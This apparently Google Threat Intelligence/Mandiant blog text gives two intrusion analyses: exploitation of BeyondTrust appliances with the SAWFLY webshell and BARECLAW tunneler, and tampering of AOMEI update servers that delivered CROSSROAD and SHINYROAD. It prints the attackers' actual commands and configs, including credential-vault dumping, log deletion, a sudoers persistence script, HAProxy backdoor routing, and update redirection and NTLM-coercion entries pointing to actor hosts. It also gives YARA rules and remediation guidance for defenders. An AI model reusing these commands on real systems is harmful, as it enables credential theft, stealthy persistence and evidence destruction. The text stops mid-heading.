If the parameter is absent, the script immediately sets HTTP status 404 Not Found (http_response_code(404)) and exits to evade automated web crawlers and vulnerability scanners. When the _c94mfe parameter is supplied, the webshell Base32-decodes the payload, decrypts it using RC4 with a hardcoded 32-byte key and executes the resulting PHP code via @eval(). Any non-null return value from the evaluated code is RC4-encrypted with the same key, Base32-encoded, and echoed back to the client.

Privilege Escalation via SUID Bit Permissions

The SAWFLY webshell ran under the site's service account, an unprivileged local user. To escalate privileges, the threat actor copied the system shell executable (/bin/sh) to the file /usr/bin/dbus-authd.

The threat actor then modified the file's ownership to root and enabled Set User ID (SUID) permissions. When a binary has SUID permissions enabled, it executes with the privileges of the file's owner (root) rather than the user running the command, effectively granting the threat actor a persistent root-level backdoor on the host system.

After establishing a foothold through the web shell, the actor elevated from the web service account to root-level control of the appliance host. This gave them access to every credential the appliance stored or brokered and the ability to modify files that survive reboot and configuration reset.

Credential Harvesting: BeyondTrust Vault Extraction

Mandiant observed the threat actor attempt to harvest credentials directly from the appliance's native secrets management database. To achieve this, the actor leveraged the /ns/sbin/bt-secrets binary which is a proprietary, administrative Command Line Interface (CLI) utility native to BeyondTrust appliances used to manage, store, and retrieve passwords, API keys, and endpoint credentials.

The threat actor systematically iterated through several CLI syntax variations to locate and dump the appliance's credential vault:

/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault

Figure 2: Recovered Commands from message logs

First, the threat actor attempted to target the vault for a specific site service account in order to pull passwords and keys assigned exclusively to that profile.

Next, they issued a fallback command, targeting the global, appliance-level password safe to dump all stored administrative credentials.

The threat actor concluded their interaction with the bt-secrets binary by forcibly removing the records stored in /home/bomgar/log/bt-secrets.log and any archived files.

/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2>/dev/null;'

Figure 3: Recovered Commands from message logs

Persistence

For long-term persistent access, Mandiant observed the threat actor target the BeyondTrust configuration templates to grant passwordless root privileges to the site service account.

First, the threat actor created the /home/bomgar/sbin/post_boot.d directory, which is reserved for scripts executed automatically at system startup. Within this directory, they created a shell script named zz-root-persist.

The contents of the zz-root-persist script indicate that it first checks if the user account is already granted passwordless root privileges within the /ns/config/sudoers.template file. If the entry is missing, the script appends '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' to the template. This entry added to the sudoers template grants the site user account passwordless administrative privileges to execute any command on the host system.

Finally, the script executes '/ns/sbin/bt-sysconfig' --no-restart misc, which forces the appliance backend to immediately parse /ns/config/sudoers.template and rebuild the active /etc/sudoers file. This strategy ensures the threat actor's privilege escalation survives system reboots and configuration resets, which would normally overwrite manual changes made directly to /etc/sudoers.

#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' >> '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc

Figure 4: Contents of zz-root-persist

Anti-Forensics

Throughout their unauthorized access to the appliance, Mandiant observed multiple instances where the threat actor attempted to impair defenses and hinder detection by systematically deleting system, web server, and application-level logs.

Originating from the SAWFLY webshell, the threat actor executed the following command using elevated sudo privileges to delete active logs across both host and site-specific directories:

'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'

Figure 5: Recovered Command

Lateral Movement: BeyondTrust Admin Session Abuse

After the compromise of the BeyondTrust device, the threat actor pivoted into the BeyondTrust Remote Support application to perform reconnaissance via compromised Administrator credentials. First, the threat actor leveraged the Administrator account to log into the web administrative portal.

{
  "event": "login",
  "status": "success",
  "target": "web/login",
  "who": "[REDACTED_USERNAME] using password",
  "who_ip": "[REDACTED_IP]"
}

Figure 6: BeyondTrust Syslog Entry

After testing their initial access and verifying their ability to temporarily join the native Administrators group policy, the threat actor altered their strategy for long-term persistence. The actor directly modified the compromised account's permissions, upgrading both local Jump Items and Team permissions from No Access to Administrator. Jump Items are individual systems or devices that are made available for remote access within a Jump Group, enabling administrators to organize and control access to remote systems. This configuration change granted the threat actor permanent, unrestricted authorization to launch remote sessions to downstream systems populated within the appliance's Jump Item list.

{
  "event": "user_changed",
  "old_username": "[REDACTED]",
  "old_permissions:jump_item_role:default:id": 1,
  "new_permissions:jump_item_role:default:id": 3,
  "old_permissions:jump_item_role:default:name": "No Access",
  "new_permissions:jump_item_role:default:name": "Administrator",
  "old_permissions:jump_item_role:teams:id": 1,
  "new_permissions:jump_item_role:teams:id": 3,
  "old_permissions:jump_item_role:teams:name": "No Access",
  "new_permissions:jump_item_role:teams:name": "Administrator"
}

Figure 7: BeyondTrust Syslog Entry

Internal Reconnaissance

Once the threat actor obtained elevated administrative privileges, Mandiant observed the threat actor establish a remote support session to target internal endpoints.

Once connected, the threat actor leveraged the appliance’s built-in support tools to request and obtain full file-system access. The threat actor utilized the native BeyondTrust Remote Support file transfer service to download and exfiltrate sensitive internal documents useful for network reconnaissance, such as software inventories, directly from the user's desktop environment.

BARECLAW Tunneler

Mandiant observed the threat actor tunnel traffic through the BeyondTrust device via a custom SOCKS5 proxy tunneler. BARECLAW is a tunneler written in C that provides a SOCKS5 proxy service carried over the WebSocket transport and relays TCP connections between a remote client and destinations. BARECLAW statically embeds a CivetWeb WebServer to supply its HTTP and WebSocket functionality and utilizes OpenSSL for TLS. BARECLAW is configurable and provides the option to require authentication, to encrypt data between the client and tunneler, to restrict reachable destinations to specific CIDR ranges, to chain traffic to an upstream proxy, and to modify its default WebSocket endpoint and listening ports. TLS is enabled by providing a PEM certificate while authentication, encryption, destination filtering, and TLS are disabled by default.

BARECLAW receives its configuration through CLI input and it provides a CLI option menu:

Usage: %s [options]
  --listen PORT            plain ws port (default 8080)
  --listen-tls PORT        wss port (default 8443, needs --ssl-cert)
  --ssl-cert FILE          PEM certificate (enables wss)
  --token STRING           shared secret (?token= auth + obfs seed)
  --obfs                   enable XOR stream obfuscation
  --timeout SEC            idle timeout (default 300)
  --connect-timeout SEC    target connect timeout (default 10)
  --max-tunnels N          concurrent tunnel limit (default 100)
  --allow-net CIDR         allowed target subnet (repeatable)
  --upstream [socks5://]host:port   route via upstream SOCKS5
  --threads N              civetweb worker threads (default 64)
  --ws-path PATH           websocket endpoint path (default /wsproxy)
  -q, --quiet              zero output (all logging suppressed)
  -h                       this help

Figure 8: BARECLAW CLI Option Menu

The threat actor executed BARECLAW through the following command line arguments:

/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge

Figure 9: BARECLAW full Command-Line Arguments

This command line configures BARECLAW to listen on TCP port 19800 and create the WebSocket endpoint /uidchanarge on the victim system. Clients are required to authenticate using the token specified in the command line arguments while the -q argument suppresses the tunneler’s logging. Tunneled data is encrypted with an XOR-based routine derived from that token and an 8-byte value provided by the client at the start of the session. The lack of the --ssl-cert and --listen-tls arguments in the CLI options means TLS was not enabled in this specific instance.

Modifications to Haproxy.conf

In addition to the creation of the BARECLAW tunneler, Mandiant observed the threat actor modify the /ns/config/haproxy.conf file in order for BARECLAW to be accessible directly from the internet. The HAProxy service running on BeyondTrust devices acts a reverse proxy for the device that accepts incoming requests on behalf of the BeyondTrust server and forwards the request to the appropriate backend services running on the local system (such as web interfaces, administration portals, or application gateways) based on the request's port or URL path.

The haproxy.conf file is the primary configuration script that dictates how the BeyondTrust appliance handles, routes, and secures incoming traffic. The threat actor modifications first established an Access Control List (ACL) named wswsws to monitor incoming traffic for the specific URI path /uidchanarge. When a request matching this path is detected, HAProxy bypasses normal appliance web services and routes the traffic to a custom backend designated as webskd3.

    acl wswsws path /uidchanarge
    use_backend webskd3 if wswsws

Figure 10: ACL Modification to haproxy.conf

Next, the webskd3 backend routes the incoming web stream locally (127.0.0.1 / localhost) to TCP port 19800, where the BARECLAW utility is actively listening. This local-only binding ensures that the backdoor listener remains completely hidden from external network scans, as it can only be reached internally via HAProxy's local redirection.

backend webskd3
    mode http
    server websocks5srv 127.0.0.1:19800
    option http-keep-alive
    timeout server 28s
    timeout tunnel 5h

Figure 11: Backend Route Modification to haproxy.conf

Attribution

GTIG attributes the zero-day exploitation of CVE-2026-102764 and the subsequent deployment of SAWFLY and BARECLAW to the suspected PRC-nexus espionage actor ARMORY CASTLE (formerly tracked as UNC5221). The tooling and TTPs leveraged within this intrusion align with previously observed activity from ARMORY CASTLE.

GTIG has previously reported ARMORY CASTLE exploiting multiple vulnerabilities in edge appliances and deploying an extensive suite of custom tooling to support their objectives, ranging from passive backdoors and webshells to trojanized components of edge devices. ARMORY CASTLE has been active as early as October 2023 and has targeted a wide range of countries and verticals during their operations.

Outlook and Implications

In past campaigns, ARMORY CASTLE has conducted widespread and opportunistic exploitation following the public disclosure of vulnerabilities it had exploited selectively as zero-days, racing to infiltrate target organizations before patches are deployed. It is possible that we will observe similar widespread exploitation attempts associated with CVE-2026-102764.

GTIG assesses with high confidence that ARMORY CASTLE will continue to leverage zero-day vulnerabilities in edge devices to gain access to environments to support their espionage objective. Defenders should also prepare for the possibility that following disclosure of CVE-2026-102764, ARMORY CASTLE may conduct widespread exploitation similar to what GTIG observed in 2024 following the disclosure of CVE-2023-46805 and CVE-2024-21887.

Remediation and Hardening

Organizations that have not yet applied the BT26-05 patch should immediately assess their exposure and risk, and review additional guidance from BeyondTrust in their blog. CVE-2026-102764 affects all supported Remote Support versions up to 26.2.3 and allows an unauthenticated remote attacker to perform file operations on the appliance, which can lead to host-level control and access to every credential the appliance stores or brokers. Any appliance that was reachable from the internet on a vulnerable version during the exploitation window should be treated as potentially compromised until it has been reviewed. Mandiant recommends a phased, patch-first approach that balances containment against disruption to support operations.

Immediate Mitigation

Organizations should choose among the following options based on their risk tolerance, evidence of compromise, and operational needs.

Option 1: Apply the BT26-05 Patch (Mandiant Recommended)

Remote Support SaaS: BeyondTrust applied the patch to all SaaS tenants on October 9, 2026. No customer action is required for the appliance itself. The credential and configuration steps in Option 3 still apply.
Self-hosted, version 24.3.1 or later: Apply the BT26-05-RS patch from the /appliance interface, or confirm it was applied automatically if the appliance is subscribed to automatic updates.
Self-hosted, older than 24.3.1: Upgrade to a supported version, then apply the patch. Upgrading closes the vulnerability but does not remediate prior exposure.
If the patch is not visible in /appliance, open a case with BeyondTrust Support referencing BT26-05.

Option 2: Isolate Compromised or Suspected Appliances

Preserve before acting: Snapshot virtual appliances with memory and export the disk before any change or reboot. For B Series hardware and SaaS tenants, request forensic preservation through BeyondTrust Support. Collect syslog, reverse-proxy or WAF, and perimeter firewall logs for the full exposure window, since an attacker with host access can delete on-appliance logs. Mandiant determined that the actor removed logs throughout the incident.
Isolate at the perimeter: Block inbound traffic to the appliance's public address at the firewall rather than in /appliance, so the configuration remains intact for review.
Restrict egress: Deny outbound traffic except to BeyondTrust update and licensing endpoints, and log every denied connection.
Terminate access paths: End active support sessions and disable new sessions, Jump Clients, Jumpoints, and API accounts from /login. Disable rather than delete so the audit trail survives.
Rebuild rather than clean: Redeploy appliances with confirmed or unknown compromise status from a clean, fully patched image. Customers cannot audit the appliance host file system, and host-level persistence survives reboot and configuration reset. Restore only a configuration backup dated before the exposure window, or restore the newest backup while isolated and complete the review in Option 3, Part B, before reconnecting anything. Issue a new TLS certificate and redeploy Jump Clients, Jumpoints, and the representative console from the rebuilt appliance.

Note: Isolation and session termination interrupt support operations. Organizations should coordinate with help desk and vendor-support stakeholders before proceeding.

Option 3: Apply Targeted Compensating Controls

The following controls reduce exposure and limit post-exploitation impact. They do not substitute for the patch.

Part A: Network Restrictions

Restrict access to the /login and /appliance administrative interfaces by IP or network segment at the appliance level. Only representative console, customer portal, and Jump Client traffic should be reachable from the internet.
Where operationally possible, place a reverse proxy or WAF with full URI logging in front of the appliance to keep a record of request paths that the appliance cannot alter.

Part B: Credential Rotation and Configuration Review

Revoke sessions and enrollments: End all active support sessions, then redeploy Jump Clients, Jumpoints, and the representative console from the patched or rebuilt appliance to invalidate existing tokens.
Rotate credentials in dependency order: /appliance administrative credentials; /login administrators and local users; API client secrets; security provider bind accounts and SAML signing keys; Remote Support Vault and integrated Password Safe or Privileged Remote Access (PRA) credentials, rotated at the target system; integration credentials (SMTP, syslog, Information Technology Service Management (ITSM) connectors, outbound event secrets); and any credential typed into a support session during the window.
Review the /login configuration against a pre-window baseline: user and role changes, particularly Jump Item roles raised to Administrator; group and session policies; API accounts; security providers; Jump Items and Jumpoints; and outbound event or syslog destinations. Remove anything without a change record or a named owner.
Review support session reports for the window, including file transfers, to establish which endpoints were accessed and what left them. Every endpoint touched is in scope for downstream hunting.

Note: Rotate credentials only after the appliance has been patched or rebuilt. Rotating earlier exposes the new credentials to an attacker who still controls the appliance.

Part C: Control Plane Restrictions

Require SAML single sign-on with phishing-resistant MFA for all /login users, and remove local accounts except one vaulted break-glass account with alerting on use.
Ensure the built-in Admin account is configured with Multi-Factor Authentication (MFA) in accordance with the official BeyondTrust Two-Factor Authentication Guidelines.
Set the default Jump Item role in every group policy to No Access, and grant roles through policy rather than per user.
Scope API accounts to the minimum permission set, with a named automation owner for any account holding user or Jump Item management rights, and rotate API secrets on a schedule.
Keep privileged credentials in Password Safe or an external vault with credential injection rather than in the Remote Support Vault, and store only non-interactive service account credentials on the appliance.
Apply default-deny outbound filtering from the appliance, allowing only BeyondTrust endpoints and the organization's own syslog and directory servers.

Part D: Logging and Detection Engineering

Logging and Visibility

Forward appliance syslog to a SIEM over TLS with retention that covers a multi-month exposure window, and collect reverse-proxy or WAF and perimeter firewall logs for the appliance's address.
Export /login session, team activity, and user audit reports on a schedule.

Detection Engineering

Account and policy changes: user_changed events that raise a Jump Item or team role; user_added, api_account, and security_provider events with no change ticket; any change to outbound events or syslog destinations.
Authentication: /login success from residential-broadband or commercial-VPN address space, and administrative logins outside business hours.
Session activity: file-transfer events, and sessions started by accounts whose roles changed during the window.
Request paths: at the reverse proxy or WAF, paths outside the known Remote Support path set, including unknown .php paths and WebSocket upgrades from outside support staff and endpoint address ranges.
Anti-forensics: gaps in syslog forwarding from the appliance; an interruption bounded by a single session is a strong indicator of log tampering.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

File Indicators

Filename	Description	SHA-256
app_84304470%2Ephp	Staging Webshell	N/A
mangoapi.php	SAWFLY Webshell	dc14e215269a93fdbc4c1a80b984c23faf7af0911c6dbb85309796a6f2ae95fb
ingredi_ws	BARECLAW Tunneler	1f19b9a27d79c11bda00a1e8faf74a7fdd683d38ccef1b60df2fd0307e3aa462

Detections

YARA Rules

rule G_Hunting_Webshell_SAWFLY_1 {
  meta:
author = "Google Threat Intelligence Group"    
  strings:
    $b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
    $rc4 = "range(0,255)" ascii wide
    $pack = "pack('H*'," ascii wide
    $eval = "@eval(" ascii wide
    $code404 = "http_response_code(404)" ascii wide
  condition:
    filesize < 20KB and
    all of them
}

rule G_Hunting_Backdoor_BARECLAW_1 {
  meta:
    author = "Google Threat Intelligence Group"

  strings:
    $s1 = "[%s ws_socks5d] " ascii wide
    $s2 = "--obfs requires --token" ascii wide
    $s3 = "mux: %s (frame[%lu]: %s)" ascii wide
    $s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
    $s5 = "reject: bad or missing token from %s" ascii wide
    $s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
    $s7 = "--ws-path must start with '/'" ascii wide
    $b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
  condition:
    uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the Mandiant Hunting, Mandiant Frontline Threats, and Mandiant Intel Emerging Threats rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

Echo Pipes Base64 To Shell
Base64 Encoded Shell Command Execution
Low Severity Endpoint Detection Cluster on Host
Suspicious Curl Download to tmp
Suspicious Curl Network Connection to Staging Directory

Acknowledgements

We appreciate BeyondTrust for their collaboration against this threat.

Investigating Ephemeral Supply Chain Tampering

Thu, 15 Oct 2026 11:00:00 +0000

Written by: Tyler McLellan

Introduction

Google Threat Intelligence Group (GTIG) and Mandiant investigated a software supply chain compromise campaign targeting the update infrastructure belonging to AOMEI Technology between April 2026 and July 2026. The threat actor conducted repeated, short-burst configuration tampering against AOMEI origin servers. Each tampering window remained active for only five to ten minutes before reverting to authentic versions. This is the first time that we have encountered a software supply chain compromise that was implemented with these very short windows, effectively evading traditional point-in-time triage and automated file scanning.

The campaign delivered a multi-stage payload chain involving the newly tracked CROSSROAD downloader and SHINYROAD backdoor. The threat actor iteratively modified its tradecraft, pivoting its staging infrastructure from cloud providers to dedicated domains and legitimate cloud storage. This evolving staging setup makes it particularly challenging for defenders to establish effective infrastructure-based blocking or network controls. We attribute this activity to a threat cluster we are tracking as UNC7017.

Based on available telemetry, impacted organizations spanned diverse sectors, including IT services, telecommunications, higher education and related entities in Australia, Brazil, India, Pakistan, Portugal, Singapore, South Africa, Spain, Switzerland, Türkiye, and the United States. That said, because the campaign attempted to deliver malware to any system polling the update distribution servers during the threat actor’s tampering windows, victimology was opportunistic and likely extends more broadly than the organizations we directly identified.

This campaign was initially identified through collaborative research with the ManageEngine Threat Analysis Lab (METAL), part of Zoho Corporation, whose endpoint detection and response (EDR) telemetry first detected the activity in late May across multiple customer environments. We thank the METAL team for their proactive telemetry sharing and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem. Following this joint effort, GTIG notified potentially affected organizations and shared technical findings with AOMEI Technology. AOMEI reported that they took corrective action to secure their distribution servers. METAL’s analysis of this campaign is available in their blog.

How AOMEI Update and Notification Systems Work

AOMEI Backupper provides data backup, disk cloning, and disaster recovery, while AnyViewer facilitates remote desktop access and support. Users of these products rely on the ABMarket update flow and its associated background services (Backupper.exe and ABNotify.exe) that periodically poll remote endpoints over HTTPS for update notifications and promotional pop ups:

Figure 1: AOMEI Update Mechanism

Update Configuration (down_html.ini): The software periodically sends an HTTPS request to https://www2.aomeisoftware.com/download/abpopup/down_html.ini. This file contains the version number, the MD5 hash of the expected update package, and the URL where the client should download upgrade-now.zip.
Notification Configuration (Notifycfg.ini): The software contacts https://account.aomeitech.com/Notifycfg.ini. This file instructs the local notification process (ABNotify.exe) what messages to display and specifies commands or programs located in the software’s local directory to execute.

Under normal conditions, these files direct the client to download official files hosted on AOMEI’s own domain (www2.aomeisoftware.com).

Campaign Overview

Rather than maintaining a persistent, static modification on the vendor’s distribution servers, GTIG and METAL’s telemetry indicates UNC7017 conducted repeated, short-burst configuration tampering. We confirmed several tampering windows in 2026, alongside related malware samples observed in the wild starting in late April. However, given the short duration of these windows, it is probable that additional tampering occurred throughout the campaign that remained outside our visibility. Systems checking for updates during an active window received malicious instructions, while systems checking before or after received clean, authentic files.

During the brief tampering windows, the threat actor modified the update settings file on the update server to redirect the software to download a malicious ZIP package from attacker-controlled servers instead of legitimate updates. The threat actor also altered the notification settings file on the update server to abuse the software’s automatic notification service, forcing the system to immediately execute the downloaded malware locally. If a user’s application checked for updates while the threat actor’s modifications were active, then the application would download the trojanized update and execute malware.

In cases where altered configuration files were active, the threat actor directed clients to download a weaponized ZIP archive containing CROSSROAD, an initial downloader responsible for environment validation and staging secondary components. CROSSROAD subsequently established scheduled task persistence to deploy SHINYROAD, a modular backdoor framework delivered via trojanized administration utilities to facilitate covert command and control.

Short Burst Supply Chain Tampering

A defining characteristic of UNC7017's operational security is its reliance on ephemeral, time-compressed server modifications. Across all directly observed waves, the adversary avoided leaving malicious configurations resident on AOMEI's update servers:

May 28: 10-minute exposure window (05:40 – 05:50 UTC)
July 16: 6-minute exposure window (08:33 – 08:39 UTC)
July 20: 5-minute exposure window (10:35 – 10:40 UTC)

At the conclusion of each window, UNC7017 reverted both down_html.ini and Notifycfg.ini to their legitimate contents. This hinders post-incident vendor audits, minimizes the window for network defenders to capture live malicious server responses, and restricts compromise to clients polling for updates during those exact minutes.

Weaponizing Native Update Logic: down_html.ini and Configuration Bloat

To compromise endpoints without relying on software vulnerabilities, UNC7017 abused the AOMEI client's legitimate update and popup rendering workflow. By default, the client downloads update archives into its Tmphtml directory, unpacks them to the local html/ directory, and processes instructions from two remote configuration files: down_html.ini and Notifycfg.ini.

To ensure the AOMEI client accepted and extracted the weaponized upgrade-now.zip archive, UNC7017 systematically incremented the minor build version (“thrid”) and updated the expected MD5 checksum in down_html.ini during each tampering window:

[Date]
-Url=https://www2.aomeisoftware.com/download/abpopup/upgrade-now.zip
+Url=https://promotion.storage-data.com/download/abpopup/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
-thrid=5
+thrid=6
[MD5]
-Val=EE89C99F3753231771170F5D9CBBAE1E
+Val=31323E7E738230FA6A8DEEF2B7894666

Figure 2: July 16 tampering of down_html.ini redirecting downloads to promotion.storage-data.com with incremented version (thrid=6) and synchronized MD5 hash.

During the 6-minute window on July 16, UNC7017 simultaneously modified Notifycfg.ini (SHA256: d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934), injecting over 35,000 lines of repetitive configuration sections named [dummy_XXXXXX]. This extreme configuration bloat was structured to override standard client version checks forcing the client to trigger an update regardless of its installed version and immediately execute the unpacked CROSSROAD dropper (upgrade-now.exe) from the local html/ directory.

Infrastructure Shifts

Between April an July 2026, UNC7017 shifted its staging and delivery infrastructure between public cloud buckets and actor controlled lookalike domains, likely to test payload delivery and masquerade as legitimate vendor traffic.

Infrastructure Shifts

Early Cloud Staging (April–May 2026): Early CROSSROAD payloads (upgrade-now.exe observed May 20) relied on Alibaba Cloud Object Storage (serv.oss-cn-hongkong.aliyuncs.com).
Dedicated Domain Infrastructure (July 1–7, 2026): The threat actor transitioned to dedicated, vendor-themed domains (storage-data.com, promotion.storage-data.com, aomei.storage-data.com).
Hybrid Cloud Delivery Split (July 20, 2026): During the 5-minute window on July 20, the threat actor modified down_html.ini to direct initial client downloads to a public Google Cloud Storage bucket (storage.googleapis.com/aomeiupdate/upgrade-now.zip) rather than storage-data.com. This tactical shift allowed the initial download to bypass enterprise proxy filters that block Newly Registered Domains (NRDs), while the executed CROSSROAD loader continued to leverage storage-data.com for secondary payload retrieval and C2 communications.

[Date]
Url=https://storage.googleapis.com/aomeiupdate/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
thrid=7
[MD5]
Val=BF73C4391B58CA95220CE3AE03F66DCF

Figure 3: July 20 modification of down_html.ini utilizing Google Cloud Storage (thrid=7) to evade Newly Registered Domain (NRD) perimeter blocks.

WebDAV NTLM Credential Coercion

On July 20, UNC7017 introduced a secondary exploitation vector inside Notifycfg.ini. Prior to tampering, Notifycfg.ini displayed a legitimate 400x380 promotional banner advertising "World Cup Deals." The threat actor replaced this banner with an invisible 1x1 pixel window (Width=1, Height=1) assigned maximum execution priority (Priority=9999) that instructed the client to render a remote HTML file over a universal naming convention (UNC) WebDAV path:

[PopWindow1]
ID=307
Title=20260408-AB Flash Sale (All Lang 不含EN)
Address="file://8.210.84.56/DavWWWRoot/campaign/24hour-flash-sale.html"
Width=1
Height=1
Priority=9999

Figure 4: Malicious Notifycfg.ini configuration from July 20 implementing an invisible 1x1 popup window to coerce WebDAV/NTLM authentication to 8.210.84.56.

By forcing the AOMEI client to request a remote file:// resource via WebDAV (DavWWWRoot), UNC7017 created a silent credential harvesting mechanism capable of coercing endpoints into transmitting NetNTLMv2 authentication hashes to the actor-controlled IP address (8.210.84.56) without user visibility.

Malware Delivery & Post-Exploitation Tooling

Across the campaign waves, UNC7017 deployed a consistent chain of custom loaders and commercial/open-source post-exploitation frameworks:

Defense Evasion via Timestomping: Analysis of an early CROSSROAD dropper (upgrade-now.exe) submitted to VirusTotal on May 20 revealed that the threat actor manipulated PE compilation timestamps to display fabricated 2024 build dates in an effort to complicate forensic timeline analysis.
Modified Radmin Server Backdoor: During the May 28 wave, the unsigned loader dropped into the html/ directory executed rsetup64.exe /intsetup, silently installing a modified version of the commercial remote administration tool Radmin Server to establish persistent remote access.
Adaptix C2 Integration: Since at least early July 2026, the threat actor was observed deploying the Adaptix C2 framework across its storage-data.com infrastructure.

The Primary Downloader: CROSSROAD

The primary Stage-2 downloader (upgrade-now.exe, SHA256: 9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450) is a 64-bit Windows executable written in C, tracked by GTIG as the CROSSROAD malware family. Delivered inside upgrade-now.zip, CROSSROAD is responsible for environment validation, active endpoint cleanup, staging the secondary payload bundle, and establishing scheduled task persistence for the Stage-3 backdoor suite.

Path Verification: As part of its configuration routine, CROSSROAD checks whether its file path contains the substring AOMEI. If the substring is absent, it initiates a self-deletion routine; however, it does not abort, continuing both its background configuration cleanup and its downloader routines regardless.
Execution Guardrails: Before proceeding with secondary downloads, CROSSROAD enforces two primary checks:

Geolocation Check: Queries external domain name system (DNS) (myip.opendns.com, o-o.myaddr.l.google.com) and HTTP reflection services (checkip.amazonaws.com, api.ipify.org, ifconfig.me/ip, icanhazip.com) using custom User-Agents (Anyviewer-loader/1.0, Anyviewer-ipcheck/1.0). In specific execution branches, if the returned country code is "CN" (China), the loader aborts its primary payload execution path.
Lock Mutex: Acquires the named mutex Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883} to prevent multiple concurrent instances on the same host.

Host Artifact Reversion & Anti-Forensics: To complicate post-incident triage and forensic reconstruction, the loader systematically reverts local configuration states during its execution cycle. The malware parses down_html.ini (located at <install_dir>\..\..\), restoring the update thread parameter (thrid) to its default value of 5 and pointing the update download URL back to legitimate AOMEI distribution infrastructure (https://www2.aomeisoftware.com/download/abpopup/).
Stage-3 Payload Staging & Extraction: If environment checks pass, CROSSROAD downloads https://promotion.storage-data.com/config/component.zip (also observed as en.zip), to %TEMP%\svc<random_hex>.tmp, and unpacks its contents into the user’s local application data directory using an embedded miniz library.
Persistence via Scheduled Task: To ensure continuous execution of the staged payload bundle, upgrade-now.exe registers a persistent scheduled task named RadminComponentRuntime (configured with the description”Radmin Component runtime checkable.”). The task is set to execute %LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk every three hours.
Self-Deletion (--nitrod): After extracting the payload bundle and creating the scheduled task, CROSSROAD purges itself from disk. To bypass Windows file-locking constraints, the executable drops a copy of itself to the temporary directory and executes it with the --nitrod parameter, passing its parent PID via NITRODP and original executable path via NITRODT. The child process waits for the parent to terminate, renames the original binary's primary :$DATA stream to an alternate data stream named :wtfbbq via SetFileInformationByHandle, and flags FileDispositionInfo with DeleteFile = TRUE to unlink the binary on handle close.
Version Information: The executable contained standard PE version metadata with a notable typo string: "ProductName: AOMEI Update Compent".

Figure 5: Victim Profiling, Malware Delivery Logic

Stage-3 Payload: SHINYROAD and Radmin Suite

The payload archive unpacked into %LOCALAPPDATA%\Radmin\ by CROSSROAD contains a Famatech Radmin 3.x administration bundle used to deliver the SHINYROAD modular backdoor framework. The malware contains no native persistence mechanism of its own and relies entirely on the external scheduled task registered by CROSSROAD for execution.

Execution via DLL Search-Order Hijacking (BlkScrDl.dll): Execution begins when the persistent RadminComponentRuntime scheduled task launches the legitimate, signed Radmin binary %LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk (or FamItrf2.exe). During startup, the Radmin executable is hijacked into loading the attacker's unsigned DLL, BlkScrDl.dll, via search-order hijacking. The adversary named this DLL to masquerade as Radmin's legitimate "blank screen" driver library.
Shared Memory & In-Process COM Server Staging: Upon execution, BlkScrDl.dll locates config.zip in its execution directory, maps its raw contents into a shared memory section named Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf, and dynamically registers csvc\RuntimeComponent.dll as an in-process COM Server under CLSID {21191641-0D7F-4CD9-9572-01AAE6E7851B} and AppID {9AD3E98A-4C7E-4F37-982D-D73D41E4F91B}.
COM-Triggered Stage-2 Initialization & Embedded PocketPy VM: When the Radmin process instantiates the registered CLSID, the Windows COM subsystem loads the DLL. The DLL reads config.zip directly from shared memory, extracts the encrypted payload metadata.dat, and decrypts it using ChaCha20 with an HMAC-SHA256 derived key and IV. The decrypted payload consists of compiled Python bytecode, which RuntimeComponent.dll executes within an embedded PocketPy interpreter, establishing initial C2 connectivity to 8.218.65.184:443.

Evolution of the SHINYROAD Architecture

Analysis of earlier campaign variants revealed that SHINYROAD relies on custom C-level extensions (_pyio_compat, _pyio_struct, and pkpy) to avoid loading standard Python libraries on disk:

Custom Binary C2 Protocol: Earlier variants communicated over raw TCP (8.218.65.184:41397). The agent generates a unique ID by fingerprinting the hostname and username, authenticates via a hard-coded handshake key, and dynamically transitions all subsequent communication to use symmetric encryption derived from this unique ID.
In-Memory Capabilities: The engine supports interactive remote shell access (os.system), traffic chaffing (generating randomized junk packets to disrupt network signatures), and dynamic in-memory extension via the pkpy WorkPool thread manager without writing script modules to disk.

Post-Exploitation: Nitro PDF Theme & Adaptix C2

